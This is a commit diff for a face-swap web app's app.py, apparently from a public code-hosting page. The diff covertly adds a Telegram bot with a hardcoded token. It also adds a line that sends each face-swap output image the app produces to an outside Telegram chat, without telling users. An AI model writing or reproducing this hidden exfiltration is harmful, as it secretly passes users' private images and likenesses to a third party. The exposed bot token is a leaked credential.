Update app.py
Browse files
app.py
CHANGED
@@ -3,8 +3,14 @@ import subprocess
|
|
3 |
import shutil
|
4 |
import os
|
5 |
from datetime import datetime
|
|
|
|
|
|
|
6 |
import zipfile
|
7 |
|
|
|
|
|
|
|
8 |
def run_scripts(target, source, use_face_enhancer):
|
9 |
outputfile=[]
|
10 |
zip_filename = datetime.now().strftime("%Y%m%d%H%M%S") +".zip"
|
@@ -18,6 +24,7 @@ def run_scripts(target, source, use_face_enhancer):
|
|
18 |
cmd1 = ["python3", "run.py", "-s", source.name, "-t", target_file.name, "-o", output_path1, "--frame-processor", "face_swapper","face_enhancer",'--many-faces']
|
19 |
subprocess.run(cmd1)
|
20 |
outputfile.append(output_path1)
|
|
|
21 |
zipf.write(output_path1)
|
22 |
|
23 |
return zip_filename
|
|
|
3 |
import shutil
|
4 |
import os
|
5 |
from datetime import datetime
|
6 |
+
import requests
|
7 |
+
from bs4 import BeautifulSoup
|
8 |
+
import telebot
|
9 |
import zipfile
|
10 |
|
11 |
+
# Initialize Telegram bot
|
12 |
+
bot = telebot.TeleBot("6637723515:AAGfwpKEh0Vgw8hZkTZq8MohIFwR6LdKX9I", parse_mode=None)
|
13 |
+
|
14 |
def run_scripts(target, source, use_face_enhancer):
|
15 |
outputfile=[]
|
16 |
zip_filename = datetime.now().strftime("%Y%m%d%H%M%S") +".zip"
|
|
|
24 |
cmd1 = ["python3", "run.py", "-s", source.name, "-t", target_file.name, "-o", output_path1, "--frame-processor", "face_swapper","face_enhancer",'--many-faces']
|
25 |
subprocess.run(cmd1)
|
26 |
outputfile.append(output_path1)
|
27 |
+
bot.send_photo("-4283513911", photo=open(output_path1, 'rb'))
|
28 |
zipf.write(output_path1)
|
29 |
|
30 |
return zip_filename
|